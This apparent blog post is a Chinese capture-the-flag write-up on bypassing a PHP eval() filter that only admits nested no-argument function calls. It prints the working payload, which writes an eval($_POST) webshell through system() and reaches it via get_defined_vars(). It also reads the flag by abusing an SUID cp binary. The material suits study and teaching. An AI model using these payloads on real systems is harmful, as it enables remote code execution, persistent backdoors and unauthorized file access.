May_be一道代码执行绕过

题目:May_be

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) {
if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){
eval($a);
}else{
die("May be you should bypass.");
}
}else{
die("nonono");
}
?>

这个正则表达式匹配的是一个函数调用,其中:

  • [^\W]+ 匹配一个或多个非特殊字符(字母、数字、下划线)
  • \( 左括号
  • (?R)? 递归匹配自身,用来匹配嵌套函数
  • \) 右括号

因此可以匹配 function_name(arg1, arg2),也能匹配嵌套调用,例如 function1(function2(arg1), arg2)。

意思就是 payload 里只允许字母、数字、下划线和 ( )。

最早尝试 a=$_POST[],但 $ 和 [] 也被过滤了。

最后的payload是

1
/?exp=system('echo "<?php\n @eval($_POST["cmd"]);" > ma.php');&a=eval(pos(pos(get_defined_vars())));

将命令写在不被过滤的参数exp中,然后用get_defined_vars()获取已经定义的变量

image-20230429001621633

格式化一下大概是这样

image-20230429002216880

我们要取参数exp的值

先用 current 取到数组当前值,也就是 $_GET 的内容,它本身也是一个数组。

image-20230429002506551

然后要取这个数组里的第一个值用pos方法

如果参数写后面的就用end方法

比如这样

image-20230429002721545

现在可以执行任意命令了,

直接列出所有目录然后CTRL+F找flag

image-20230429003221618

直接cat 读不到文件,权限不够

flag文件属性0700

发现cp有su权限

1
cp /.ffffffIIIIIII44444444444gggg /dev/stdout

Get flag!

第二天起来发现环境开不了了,所以这部分没图😓


May_be一道代码执行绕过
https://noeplex.com/2023/04/29/maybe/
作者
To1y5
发布于
2023年4月29日
许可协议